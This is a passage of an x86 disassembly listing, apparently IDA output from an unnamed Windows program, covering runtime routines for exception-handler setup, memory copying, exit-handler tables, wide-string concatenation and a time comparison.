		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D08B:				; CODE XREF: ___:00426D68j
					; ___:00426D85j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421C4B
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0C1	proc near		; CODE XREF: sub_4220C1+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D115
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422450
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D0C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D115	proc near		; DATA XREF: sub_41D0C1+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421C4B
		add	esp, 20h
		pop	ebp
		retn
sub_41D115	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D13A	proc near		; CODE XREF: sub_421E8D+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D1EE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D1C0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4D97C0
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D1C0:				; DATA XREF: sub_41D13A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D1DD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D1E6
; ---------------------------------------------------------------------------


loc_41D1DD:				; CODE XREF: sub_41D13A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D1E6:				; CODE XREF: sub_41D13A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D13A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1EE	proc near		; DATA XREF: sub_41D13A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D211
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D211:				; CODE XREF: sub_41D1EE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421C4B
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D24F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D03C
; ---------------------------------------------------------------------------


loc_41D24F:				; CODE XREF: sub_41D1EE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D25E:				; CODE XREF: sub_41D1EE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D1EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D263	proc near		; CODE XREF: sub_421CE6+C6p
					; sub_421E8D+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D2BA


loc_41D281:				; CODE XREF: sub_41D263+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D28B
		call	sub_4224F2


loc_41D28B:				; CODE XREF: sub_41D263+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D2A0
		cmp	ecx, [eax+8]
		jle	short loc_41D2A5


loc_41D2A0:				; CODE XREF: sub_41D263+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D2B1


loc_41D2A5:				; CODE XREF: sub_41D263+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D2B1:				; CODE XREF: sub_41D263+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D281
		mov	eax, [ebp+var_4]


loc_41D2BA:				; CODE XREF: sub_41D263+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D2CE
		cmp	esi, eax
		jbe	short loc_41D2D3


loc_41D2CE:				; CODE XREF: sub_41D263+65j
		call	sub_4224F2


loc_41D2D3:				; CODE XREF: sub_41D263+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D263	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2E0	proc near		; CODE XREF: sub_4233C0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D2F8
		push	[ebp+arg_0]
		call	sub_42663C
sub_41D2E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2F8	proc near		; DATA XREF: sub_41D2E0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D2F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D300	proc near		; DATA XREF: sub_41D322+Ao
					; sub_41D38A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D321
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D321:				; CODE XREF: sub_41D300+10j
		retn
sub_41D300	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D322	proc near		; CODE XREF: sub_422167+Dp
					; sub_4233C0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D300
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D33F:				; CODE XREF: sub_41D322:loc_41D37Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D37C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D37C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D37A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D3B6
		call	dword ptr [ebx+esi*4+8]


loc_41D37A:				; CODE XREF: sub_41D322+44j
		jmp	short loc_41D33F
; ---------------------------------------------------------------------------


loc_41D37C:				; CODE XREF: sub_41D322+2Aj
					; sub_41D322+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D322	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D38A	proc near		; CODE XREF: sub_422187+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D300
		jnz	short locret_41D3AC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D3AC
		mov	eax, 1

locret_41D3AC:				; CODE XREF: sub_41D38A+10j
					; sub_41D38A+1Bj
		retn
sub_41D38A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3AD	proc near		; CODE XREF: sub_422450+1Ep
					; sub_422450+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A65C
		jmp	short loc_41D3C0
sub_41D3AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3B6	proc near		; CODE XREF: sub_41D322+4Fp
					; sub_4233C0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A65C
		mov	ecx, [ebp+8]


loc_41D3C0:				; CODE XREF: sub_41D3AD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D3B6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D3D0	proc near		; CODE XREF: sub_40D327+5p
					; sub_40D4C9+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D3D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D3EF	proc near		; CODE XREF: sub_40D968+26p
					; ___:004263D2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA31
		pop	ecx
		retn
sub_41D3EF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D400	proc near		; CODE XREF: sub_40D9D9+3Ap
					; sub_41E4A2+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D420
		cmp	edi, eax
		jb	loc_41D598


loc_41D420:				; CODE XREF: sub_41D400+16j
		test	edi, 3
		jnz	short loc_41D43C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------


loc_41D43C:				; CODE XREF: sub_41D400+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D454
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D45C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D454:				; CODE XREF: sub_41D400+46j
		jmp	dword ptr loc_41D558[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D45C:				; CODE XREF: sub_41D400+31j
					; sub_41D400+8Ej ...
		jmp	off_41D4DC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D470
		dd offset loc_41D49C
		dd offset loc_41D4C0
; ---------------------------------------------------------------------------


loc_41D470:				; DATA XREF: sub_41D400+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D49C:				; DATA XREF: sub_41D400+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D4C0:				; DATA XREF: sub_41D400+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D45C
		rep movsd
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D4DC	dd offset loc_41D53F	; DATA XREF: sub_41D400:loc_41D45Cr
		dd offset loc_41D52C
		dd offset loc_41D524
		dd offset loc_41D51C
		dd offset loc_41D514
		dd offset loc_41D50C
		dd offset loc_41D504
		dd offset loc_41D4FC
; ---------------------------------------------------------------------------


loc_41D4FC:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D504:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D50C:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D514:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D51C:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D524:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D52C:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D53F:				; CODE XREF: sub_41D400:loc_41D45Cj
					; DATA XREF: sub_41D400:off_41D4DCo
		jmp	off_41D548[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D548	dd offset loc_41D558	; DATA XREF: sub_41D400+35r
					; sub_41D400+92r ...
		dd offset loc_41D560
		dd offset loc_41D56C
		dd offset loc_41D580
; ---------------------------------------------------------------------------


loc_41D558:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D560:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D56C:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D580:				; CODE XREF: sub_41D400+35j
					; sub_41D400+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D598:				; CODE XREF: sub_41D400+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D5CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D5C0:				; CODE XREF: sub_41D400+1B1j
					; sub_41D400+208j ...
		neg	ecx
		jmp	off_41D690[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D5CC:				; CODE XREF: sub_41D400+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D5E4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D5E4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D5E4:				; CODE XREF: sub_41D400+1D6j
					; DATA XREF: sub_41D400+1DDr
		jmp	off_41D6E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		clc
		aad	41h
		add	[eax], bl
		setalc
		inc	ecx
		add	[eax-2Ah], al
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D5C0
		std
		rep movsd
		cld
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D694
		dd offset loc_41D69C
		dd offset loc_41D6A4
		dd offset loc_41D6AC
		dd offset loc_41D6B4
		dd offset loc_41D6BC
		dd offset loc_41D6C4
off_41D690	dd offset loc_41D6D7	; DATA XREF: sub_41D400+1C2r
; ---------------------------------------------------------------------------


loc_41D694:				; DATA XREF: sub_41D400+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D69C:				; DATA XREF: sub_41D400+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D6A4:				; DATA XREF: sub_41D400+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D6AC:				; DATA XREF: sub_41D400+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D6B4:				; DATA XREF: sub_41D400+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D6BC:				; DATA XREF: sub_41D400+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D6C4:				; DATA XREF: sub_41D400+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D6D7:				; CODE XREF: sub_41D400+1C2j
					; DATA XREF: sub_41D400:off_41D690o
		jmp	off_41D6E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D6E0	dd offset loc_41D6F0	; DATA XREF: sub_41D400+1B7r
					; sub_41D400:loc_41D5E4r ...
		dd offset loc_41D6F8
		dd offset loc_41D708
		dd offset loc_41D71C
; ---------------------------------------------------------------------------


loc_41D6F0:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D6F8:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D708:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D71C:				; CODE XREF: sub_41D400+1B7j
					; sub_41D400:loc_41D5E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D400	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D735	proc near		; CODE XREF: sub_40DA40+34p
					; sub_40DA40+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BCAD
		pop	ecx
		pop	ecx
		retn
sub_41D735	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D743	proc near		; CODE XREF: sub_41D7B0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DADB4
		call	sub_422548
		mov	edx, dword_4DADB4
		pop	ecx
		mov	ecx, dword_4DADB0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D7A2
		push	edx
		call	sub_422548
		add	eax, 10h
		push	eax
		push	dword_4DADB4
		call	sub_41BB48
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D785
		retn
; ---------------------------------------------------------------------------


loc_41D785:				; CODE XREF: sub_41D743+3Fj
		mov	ecx, dword_4DADB0
		sub	ecx, dword_4DADB4
		mov	dword_4DADB4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DADB0, ecx


loc_41D7A2:				; CODE XREF: sub_41D743+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DADB0, 4
		retn
sub_41D743	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7B0	proc near		; CODE XREF: sub_40DB2D+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D743
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D7B0	endp

; ---------------------------------------------------------------------------
		push	80h
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		mov	dword_4DADB4, eax
		jnz	short loc_41D7E3
		push	18h
		call	sub_41E1C9
		mov	eax, dword_4DADB4
		pop	ecx


loc_41D7E3:				; CODE XREF: ___:0041D7D4j
		and	dword ptr [eax], 0
		mov	eax, dword_4DADB4
		mov	dword_4DADB0, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D7F1	proc near		; CODE XREF: sub_40DB4F+7Ap
					; sub_40DB4F+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41D805


loc_41D7FD:				; CODE XREF: sub_41D7F1+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41D7FD


loc_41D805:				; CODE XREF: sub_41D7F1+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41D80A:				; CODE XREF: sub_41D7F1+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41D80A
		pop	esi
		retn
sub_41D7F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D81B	proc near		; CODE XREF: ___:0040E534p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2890000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4D9782
		jnz	short loc_41D880
		mov	ax, [ebp+var_18]
		cmp	ax, word_4D9780
		jnz	short loc_41D880
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4D977E
		jnz	short loc_41D880
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4D977A
		jnz	short loc_41D880
		mov	ax, [ebp+var_20]
		cmp	ax, word_4D9778
		jnz	short loc_41D880
		mov	eax, dword_4D9770
		jmp	short loc_41D8C5
; ---------------------------------------------------------------------------


loc_41D880:				; CODE XREF: sub_41D81B+28j
					; sub_41D81B+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2880000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D8AD
		cmp	eax, 2
		jnz	short loc_41D8A9
		cmp	[ebp+var_32], 0
		jz	short loc_41D8A9
		cmp	[ebp+var_24], 0
		jz	short loc_41D8A9
		push	1
		pop	eax
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8A9:				; CODE XREF: sub_41D81B+7Aj
					; sub_41D81B+81j ...
		xor	eax, eax
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8AD:				; CODE XREF: sub_41D81B+75j
		or	eax, 0FFFFFFFFh


loc_41D8B0:				; CODE XREF: sub_41D81B+8Cj
					; sub_41D81B+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4D9778
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4D9770, eax
		pop	esi


loc_41D8C5:				; CODE XREF: sub_41D81B+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
